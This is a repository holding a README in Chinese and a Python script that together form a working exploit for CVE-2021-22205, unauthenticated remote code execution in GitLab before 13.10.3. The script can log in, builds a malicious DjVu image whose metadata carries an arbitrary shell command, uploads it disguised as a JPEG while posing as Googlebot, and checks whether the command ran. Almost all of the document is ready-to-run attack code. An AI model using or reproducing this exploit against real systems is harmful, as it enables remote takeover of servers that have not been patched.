├── README.md └── exploit.py /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-22205 2 | 3 | > 基于 [mr-r3bot/Gitlab-CVE-2021-22205](https://github.com/mr-r3bot/Gitlab-CVE-2021-22205) 的Fork 4 | 5 | ## 简介 6 | CVE-2021-22205: Gitlab 未授权远程代码执行漏洞 EXP 7 | 8 | 移除了对djvumake & djvulibre的依赖,直接内部生成payload,可在win平台执行。 9 | 10 | 11 | ## 使用方法 12 | 13 | ```shell 14 | # 需要授权 15 | python3 exploit.py -u -p -t -c 16 | # 未授权 17 | python3 exploit.py -t -c 18 | ``` 19 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import re 3 | import argparse 4 | import uuid 5 | 6 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 7 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 8 | 9 | parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE') 10 | parser.add_argument('-u', help='Username', required=False) 11 | parser.add_argument('-p', help='Password', required=False) 12 | parser.add_argument('-t', help='URL (Eg: http://gitlab.example.com)', required=True) 13 | parser.add_argument('-c', help='Command to execute', required=True) 14 | args = parser.parse_args() 15 | username = args.u 16 | password = args.p 17 | gitlab_url = args.t 18 | command = args.c 19 | 20 | session = requests.Session() 21 | session.verify = False 22 | CSRF_PATTERN = re.compile(rb'csrf-token" content="(.*?)" />') 23 | def csrf_token(): 24 | response = session.get(f'{gitlab_url}/users/sign_in', headers={'Origin': gitlab_url}, verify=False) 25 | g = CSRF_PATTERN.search(response.content) 26 | assert g, 'No CSRF Token found' 27 | 28 | return g.group(1).decode() 29 | 30 | 31 | # Authenticating 32 | if username != None and password != None: 33 | print("[+] Authenticating") 34 | token = csrf_token() 35 | login_form = { 36 | "authenticity_token": token, 37 | "user[login]": username, 38 | "user[password]": password, 39 | "user[remember_me]": "0" 40 | } 41 | r = session.post(f"{gitlab_url}/users/sign_in", data=login_form, verify=False) 42 | if r.status_code != 200: 43 | exit(f"[x] Login Failed:{r.text}") 44 | else: 45 | print("[+] Successfully Authenticated") 46 | else: 47 | print("[!] User name and password are not provided. Skip the authentication process...") 48 | 49 | 50 | # RCE Payload 51 | def get_payload(command): 52 | rce_payload = b'\x41\x54\x26\x54\x46\x4f\x52\x4d' 53 | rce_payload += (len(command) + 0x55).to_bytes(length=4, byteorder='big', signed=True) 54 | rce_payload += b'\x44\x4a\x56\x55\x49\x4e\x46\x4f\x00\x00\x00\x0a\x00\x00\x00\x00\x18\x00\x2c\x01\x16\x01\x42\x47\x6a\x70\x00\x00\x00\x00\x41\x4e\x54\x61' 55 | rce_payload += (len(command) + 0x2f).to_bytes(length=4, byteorder='big', signed=True) 56 | rce_payload += b'\x28\x6d\x65\x74\x61\x64\x61\x74\x61\x0a\x09\x28\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x22\x5c\x0a\x22\x20\x2e\x20\x71\x78\x7b' 57 | rce_payload += command.encode() 58 | rce_payload += b'\x7d\x20\x2e\x20\x5c\x0a\x22\x20\x62\x20\x22\x29\x20\x29\x0a' 59 | return rce_payload 60 | 61 | # Upload file 62 | upload_file_url = f"{gitlab_url}/uploads/user" 63 | 64 | files = {"file": ("%s.jpg" % uuid.uuid1(), get_payload(command), "image/jpeg")} 65 | try: 66 | resp = session.post( 67 | url=upload_file_url, 68 | files=files, 69 | headers={ 70 | "X-CSRF-Token": csrf_token(), 71 | "Referer": upload_file_url, 72 | "Accept": "application/json", 73 | 'User-Agent':'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' 74 | }, verify=False, timeout=5) 75 | except requests.exceptions.ReadTimeout as ex: 76 | print("[+] Timed out and may have succeeded.") 77 | 78 | if "markdown" in resp.text: 79 | exit("[x] RCE failed") 80 | elif "Failed to process image" in resp.text: 81 | print("[+] RCE triggered successfully") 82 | --------------------------------------------------------------------------------